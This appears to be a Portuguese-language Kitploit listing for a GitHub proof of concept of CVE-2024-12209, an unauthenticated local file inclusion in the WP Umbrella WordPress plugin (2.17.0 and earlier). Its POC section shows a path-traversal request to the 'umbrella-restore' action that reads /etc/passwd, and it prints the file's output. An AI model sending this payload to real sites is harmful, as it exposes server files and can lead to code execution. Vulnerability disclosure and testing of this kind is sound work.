Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-12209 — WP Umbrella: Atualização Backup Restauração & Monitoramento <= 2.17.0 - Inclusão de Arquivo Local Não Autenticada | Kitploit
Ferramentas/GitHubGitHub/randomrobbiebf/cve-2024-12209
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubrandomrobbiebf/cve-2024-12209

CVE-2024-12209

WP Umbrella: Atualização Backup Restauração & Monitoramento <= 2.17.0 - Inclusão de Arquivo Local Não Autenticada

Ver Repositório
1há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-12209

WP Umbrella: Update Backup Restore & Monitoring <= 2.17.0 - Inclusão de Arquivo Local Não Autenticada

Descrição

O plugin WP Umbrella: Update Backup Restore & Monitoring para WordPress é vulnerável à Inclusão de Arquivo Local em todas as versões até, e incluindo, 2.17.0 através do parâmetro 'filename' da ação 'umbrella-restore'. Isso torna possível que atacantes não autenticados incluam e executem arquivos arbitrários no servidor, permitindo a execução de qualquer código PHP nesses arquivos. Isso pode ser usado para contornar controles de acesso, obter dados sensíveis ou alcançar execução de código em casos onde imagens e outros tipos de arquivo "seguros" podem ser enviados e incluídos.

Detalhes

  • Tipo: plugin
  • Slug: wp-health
  • Versão Afetada: 2.17.0
  • Pontuação CVSS: 9.8
  • Classificação CVSS: Crítico
  • Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CVE: CVE-2024-12209
  • Estado: Ativo

POC

root@kitploit:~
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd
root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
Baixar ferramenta